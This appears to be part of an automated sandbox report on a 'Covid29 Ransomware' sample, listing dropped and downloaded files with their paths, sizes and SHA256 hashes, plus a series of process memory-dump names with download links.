                                                                                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
                                                                                          • Size 696B
                                                                                          • SHA256 e55c7e68728c960273df0ea9faf0f1506aa63e05e4bf3e323a6c3214de1f8533
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          covid29-is-here.txt
                                                                                          • Path C:\Users\Admin\Desktop\covid29-is-here.txt
                                                                                          • Size 861B
                                                                                          • SHA256 dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          3e35a2a6b58853ab7443aef40d22dc37c3d94848ec9f5b9ca27c1892082b4f07.txt
                                                                                          • Path C:\Users\Admin\Downloads\3e35a2a6b58853ab7443aef40d22dc37c3d94848ec9f5b9ca27c1892082b4f07.txt
                                                                                          • Size 225B
                                                                                          • SHA256 3e35a2a6b58853ab7443aef40d22dc37c3d94848ec9f5b9ca27c1892082b4f07
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          3e35a2a6b58853ab7443aef40d22dc37c3d94848ec9f5b9ca27c1892082b4f07.txt:Zone.Identifier
                                                                                          • Path C:\Users\Admin\Downloads\3e35a2a6b58853ab7443aef40d22dc37c3d94848ec9f5b9ca27c1892082b4f07.txt:Zone.Identifier
                                                                                          • Size 55B
                                                                                          • SHA256 2dfb5f4b33e4cf8237b732c02b1f2b1192ffe4b83114bcf821f489bbf48c6aa1
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          Covid29 Ransomware.zip
                                                                                          • Path C:\Users\Admin\Downloads\Covid29 Ransomware.zip
                                                                                          • Size 1.7MB
                                                                                          • SHA256 bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Covid29 Ransomware.zip:Zone.Identifier
                                                                                          • Path C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier
                                                                                          • Size 268B
                                                                                          • SHA256 def828abad22f799785354f6af5c2396103d734bb7c20f96b3e62cd0d55d8398
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          Unconfirmed 528615.crdownload
                                                                                          • Path C:\Users\Admin\Downloads\Unconfirmed 528615.crdownload
                                                                                          • Size 3.9MB
                                                                                          • SHA256 617fda69347ec907a79f198add431c8bb39102781de41cc03b7cd1718cff2198
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          bodmas_malware_category.csv:Zone.Identifier
                                                                                          • Path C:\Users\Admin\Downloads\bodmas_malware_category.csv:Zone.Identifier
                                                                                          • Size 26B
                                                                                          • SHA256 eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          memory/240-1642-0x00007FF9BA1C0000-0x00007FF9BAC82000-memory.dmp
                                                                                          Download

                                                                                          memory/240-1579-0x00007FF9BA1C0000-0x00007FF9BAC82000-memory.dmp
                                                                                          Download

                                                                                          memory/2756-1385-0x0000000000400000-0x00000000005D5000-memory.dmp
                                                                                          Download

                                                                                          memory/2756-1562-0x0000000000400000-0x00000000005D5000-memory.dmp
                                                                                          Download

                                                                                          memory/2756-1580-0x0000000000400000-0x00000000005D5000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-687-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-695-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-1273-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-1272-0x00007FF99D6B0000-0x00007FF99D6C0000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-1271-0x00007FF99D6B0000-0x00007FF99D6C0000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-1270-0x00007FF99D6B0000-0x00007FF99D6C0000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-1269-0x00007FF99D6B0000-0x00007FF99D6C0000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-756-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-754-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-701-0x00007FF9DC6D0000-0x00007FF9DC78D000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-700-0x00007FF99B370000-0x00007FF99B380000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-699-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-698-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-696-0x00007FF99B370000-0x00007FF99B380000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-697-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-1274-0x00007FF9DC6D0000-0x00007FF9DC78D000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-693-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-694-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-692-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-690-0x00007FF99D6B0000-0x00007FF99D6C0000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-684-0x00007FF99D6B0000-0x00007FF99D6C0000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-686-0x00007FF99D6B0000-0x00007FF99D6C0000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-685-0x00007FF99D6B0000-0x00007FF99D6C0000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-691-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-688-0x00007FF99D6B0000-0x00007FF99D6C0000-memory.dmp
                                                                                          Download

                                                                                          memory/3680-689-0x00007FF9DD620000-0x00007FF9DD829000-memory.dmp
                                                                                          Download

                                                                                          memory/3720-0-0x0000000000400000-0x0000000000443000-memory.dmp
                                                                                          Download

                                                                                          memory/4284-1575-0x00007FF9BA1C0000-0x00007FF9BAC82000-memory.dmp
                                                                                          Download

                                                                                          memory/4284-1559-0x00007FF9BA1C0000-0x00007FF9BAC82000-memory.dmp
                                                                                          Download

                                                                                          memory/4284-1558-0x0000000000610000-0x0000000000630000-memory.dmp
                                                                                          Download

                                                                                          memory/4556-1549-0x0000000000400000-0x00000000004D8000-memory.dmp
                                                                                          Download